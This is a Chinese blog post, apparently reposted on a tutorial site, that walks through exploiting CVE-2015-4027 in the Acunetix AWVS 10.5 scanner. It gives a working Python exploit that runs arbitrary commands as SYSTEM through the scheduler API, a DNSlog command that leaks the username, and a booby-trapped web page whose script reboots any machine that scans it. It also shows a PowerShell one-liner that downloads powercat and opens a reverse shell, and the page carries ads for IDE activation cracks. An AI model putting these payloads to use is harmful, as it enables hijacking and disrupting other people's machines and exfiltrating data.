awvs原理_csgo奇葩武器代码

awvs原理_csgo奇葩武器代码awvs10.5下载http://www.32r.com/soft/12986.html

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

目录

awvs10.5安装

命令执行

进一步利用

重启系统

反弹shell


首先,在渗透的时候,很多人会开各种扫描器收集一波信息,在国内用的最多最平常的扫描器应该是AWVS系列。这篇文章写得就是利用AWVS的一个漏洞去反制攻击者,仅提供一个思路进行参考。

这里利用的是AWVS 10被爆出一个本地权限提升漏洞(CVE-2015-4027),漏洞详情及POC:https://www.exploit-db.com/exploits/38847/

  • 实验系统:win7 sp1
  • awvs:10.5

awvs10.5安装

首先我们先下载awvs 10.5,参考:http://www.32r.com/soft/12986.html

漏洞分析

漏洞是出现在AWVS 10 的一个任务调度的API上。在AWVS 10.x 被安装后,系统会默认安装一个叫做“AcuWVSSchedulerv10”的自启动服务,这个服务是跑在system权限下的。他会监听本地的8183端口,用户可以通过它直接调用接口来给awvs添加新的扫描任务。

如下图所示,通过访问http://127.0.0.1:8183即可完成扫描任务的添加删除和进度查看。

awvs原理_csgo奇葩武器代码

在添加任务时,参数里有一项为reporttemplate ,他的作用是选择扫描结束生成报告时所用的模板,研究发现这个参数会被带入WVS的命令行执行。由于系统没有对用户的输入做检查,导致我们可以通过reporttemplate带入任意的参数,形成了命令注入。

通过查看awvs的官方文档:https://www.acunetix.com/blog/docs/acunetix-wvs-cli-operation/

发现wvs命令行下有一个参数为/run,通过它可以执行系统任意命令。因此我们可以使用这个参数获得一个system权限的命令执行。

这里我对原poc进行一个修改,修改为python3

#import httplib
import requests
import json
from datetime import datetime
import sys
import os
from time import gmtime, strftime
url = "http://127.0.0.1:8183/api/addScan"


if len(sys.argv) > 1:
    COMMAND = sys.argv[1] 
    pass
else:
    print('请输入想要执行的命令参数: python xx.py "command"')
    os._exit(0)
ACUHOST = '127.0.0.1'
ACUPORT = 8183
ACUHEADERS = {
    "Content-Type": "application/json; charset=UTF-8",
    "X-Requested-With": "XMLHttpRequest",
    "Accept": "application/json, text/javascript, */*; q=0.01",
    "RequestValidated": "true"
    }
ACUEXPLOIT = "/Crawl http://www.google.it /Run \""+ COMMAND + "\"" 
ACUDATA = {"scanType":"scan",
           "targetList":"",
           "target":["http://"+"A"*2048],
           "recurse":"-1",
           "date":strftime("%m/%d/%Y", gmtime()),
           "dayOfWeek":"1",
           "dayOfMonth":"1",
           "time": "%s:%s" % (datetime.now().hour, datetime.now().minute+1),
           "deleteAfterCompletion":"False",
           "params":{"profile":"Default",
                     "loginSeq":"<none>",
                     "settings":"Default",
                     "scanningmode":"heuristic",
                     "excludedhours":"<none>",
                     "savetodatabase":"True",
                     "savelogs":"False",
                     "generatereport":"False",
                     "reportformat":"PDF",
                     "reporttemplate":"WVSDeveloperReport.rep " + ACUEXPLOIT,
                     "emailaddress":""}
           }

def sendExploit():
    """conn = httplib.HTTPConnection(ACUHOST, ACUPORT)
                conn.request("POST", "/api/addScan", json.dumps(ACUDATA), ACUHEADERS)
                resp = conn.getresponse()
                return "%s %s" % (resp.status, resp.reason)"""
    re = requests.post(url=url,headers=ACUHEADERS,data=json.dumps(ACUDATA))
    print(re.status_code,re.text)
print ("Acunetix Wvs 10 Local priviledge escalation by Daniele Linguaglossa\n")
print ("[+] Command : %s will be executed as SYSTEM" % COMMAND)
print ("[+] Sending exploit...")
sendExploit()
print ("[+] Done!")

这个payload其实就是模仿的一个添加任务的一个请求,这里可以使用proxychains对poc进行流量的截取查看

awvs原理_csgo奇葩武器代码

命令执行

我们把这个poc进行执行

1. DNSlog探测

首先在dnslog平台获取一个子域,http://www.dnslog.cn/

执行python脚本,我们发现此时立即添加了一个扫描任务,任务是在一分钟后执行

awvs原理_csgo奇葩武器代码

一分钟后刷新dnslog,发现命令被执行了 

awvs原理_csgo奇葩武器代码

2.dnslog回显系统信息

dnslog结合Windows系统变量回显系统信息

python 1.py "ping %USERNAME%.8mszqz.dnslog.cn"

awvs原理_csgo奇葩武器代码

 

进一步利用

然后思考,可不可以在网页中写入js代码,然后js中放入我们的poc,将poc用js的方式进行提交。这里将原作者的js代码进行一个修改,因为我用其提供的js代码并不能执行成功,修改的js代码如下。写先一个简单的HTML页面

重启系统

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>钓鱼网站</title>
    <h1>嗨喽,欢迎来到到我的世界</h1>
</head>
<body>
    <script> 
		var time = new Date()
		var y = time.getFullYear();
		var m = time.getMonth()+1;
		var d = time.getDate();
		var hours = time.getHours();
		var min = time.getMinutes()+1;
		//var command = "shutdown -r -t 0";
		var padding = "http://";
		for(i=0;i<2048;i++)padding+="a";
		var exp = '{"scanType":"scan","targetList":"","target":["'+padding+'"],"recurse":"-1","date":"'+m+'/'+d+'/'+y+'","dayOfWeek":"1","dayOfMonth":"1","time":"'+hours+':'+min+'","deleteAfterCompletion":"False","params":{"profile":"Default","loginSeq":"<none>","settings":"Default","scanningmode":"heuristic","excludedhours":"<none>","savetodatabase":"True","savelogs":"False","generatereport":"False","reportformat":"PDF","reporttemplate":"WVSDeveloperReport.rep /Crawl http://www.google.it /Run \\"shutdown /r /t 0 \\"","emailaddress":""}}'
		document.write(exp)
		var xmlhttp;
		if(window.XMLHttpRequest){
		  xmlhttp = new XMLHttpRequest();
		  }else{
		  xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
		  }
		  xmlhttp.open("POST","http://127.0.0.1:8183/api/addScan",true);
		  xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
		  xmlhttp.setRequestHeader("RequestValidated","true");
		  xmlhttp.send(exp);

	</script>
</body>
</html>

用pyhthon起一个web服务

python -m http.server 80

awvs原理_csgo奇葩武器代码

shutdown /r /t 0,就是我们执行的系统命令

然后,当我们使用扫描器对网站进行扫描的时候,一扫描发现,系统自动添加了一个扫描任务

awvs原理_csgo奇葩武器代码

当任务执行的时候,攻击者的系统重启了~~

awvs原理_csgo奇葩武器代码

当然还可以进行添加账号等一些操作。

反弹shell

ps的执行策略

默认不允许运行ps脚本

四种策略

  • Restricted 默认,不允许执行脚本(管理员也不行)
  • ALLsigned 允许云心经过证书验证的脚本
  • Unrestricted 允许执行任意脚本
  • RemoteSigned 本地脚本不限制,来自网络的脚本需要经过签名
Get-Executionpolicy              看脚本运行策略 
Set-Executionpolicy Unrestricted  更改脚本策略为Unrestricted

因为是winndows下,所以并不好反弹shell,这里想的是利用powershell脚本进行反弹

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.1.4 -p 9999 -e cmd

但是放到poc里面去,并不会执行这个命令,不知道啥原因~~

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/190629.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 单片机中P1=0x01什么意思「建议收藏」

    单片机中P1=0x01什么意思「建议收藏」0x01是16进制,转化为二进制:00000001(字节(Byte)是计算机信息技术用于计量存储容量的一种计量单位,作为一个单位来处理的一个二进制数字串,是构成信息的一个小单位。最常用的字节是八位的字节,即它包含八位的二进制数)P1=0x01,表示P1.7~P.1=0,P1.0=1…

    2025年8月10日
    3
  • 微信小程序从零开始开发步骤(一)_微信小程序开发零基础入门

    微信小程序从零开始开发步骤(一)_微信小程序开发零基础入门随时随地阅读更多技术实战干货,获取项目源码、学习资料,请关注源代码社区公众号(ydmsq666)、博主微信(guyun297890152)、QQ技术交流群(183198395)。from:https://www.jianshu.com/p/aaef5ceb3936从零开始小程序今天一不小心拿到了小程序的内测资格,为了不辜负微信团队的信任,我决定十一奋斗一把!不过话说我可是一个And…

    2022年9月1日
    6
  • include用法及搭配(include相关短语)

    iostream与iostream.h#include<iostream.h>//这个就是1998年标准化以后的标准头文件#include<iostream>//这个就是标准化以前的头文件更本质上的区别就是iostream把标准C++库的组件放在一个名位std的namespace里面。而相对的iostream.h则将这些标准组件放在全…

    2022年4月14日
    69
  • qt无法解析的外部符号lnk2019_2019最新驾考宝典

    qt无法解析的外部符号lnk2019_2019最新驾考宝典在编译工程的时候经常会碰到”LNK2019:无法解析的外部符号… “的报错。一般来说,碰到这个错误有一下几种情况:1、头文件中声明了函数或者类型,但是没有相关的实现源文件解决:在编译结果中找到并定位该函数,删去多余的定义并对未实现的定义进行实现;注意删去Debug和Release文件夹,并重新构建。2、调用了第三方库,但是未链接成功解决:重新添加库的.lib和.dll及相关.h文

    2022年10月5日
    2
  • FileZilla出现Failed to convert command to 8 bit charset

    FileZilla出现Failed to convert command to 8 bit charset

    2021年10月7日
    50
  • PS磨皮滤镜Portraiture2.3简体中文绿色版32b/64b

    PS磨皮滤镜Portraiture2.3简体中文绿色版32b/64b磨皮滤镜Portraiture简单介绍  Portraiture是一款Photoshop的插件,用于人像图片润色,减少了人工选择图像区域的重复劳动。它能智能地对图像中的皮肤材质、头发、眉毛、睫毛等部位进行平滑和减少疵点处理!      Portraiture是极负盛名的专业人像磨皮滤镜,堪称磨皮神镜,仰望土豪器材党的屌丝团必备。算法优秀,不会造成处理后

    2022年7月22日
    13

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号